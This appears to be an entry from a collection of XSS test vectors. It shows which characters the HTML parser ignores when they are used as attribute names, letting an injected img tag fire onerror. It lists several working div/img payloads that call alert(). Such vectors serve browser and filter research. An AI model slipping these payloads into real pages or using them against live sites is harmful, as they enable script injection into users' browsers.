7
7
7
7This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.
<div $[chr]="><img src=x:x onerror=log($[i])>"></div><div 0x09="><img src=x:x onerror=alert(9)>"></div><div
="><img src=x:x onerror=alert(10)>"></div><div 0x0C="><img src=x:x onerror=alert(12)>"></div><div 0x0D="><img src=x:x onerror=alert(13)>"></div><div ="><img src=x:x onerror=alert(32)>"></div><div /="><img src=x:x onerror=alert(47)>"></div><div >="><img src=x:x onerror=alert(62)>"></div>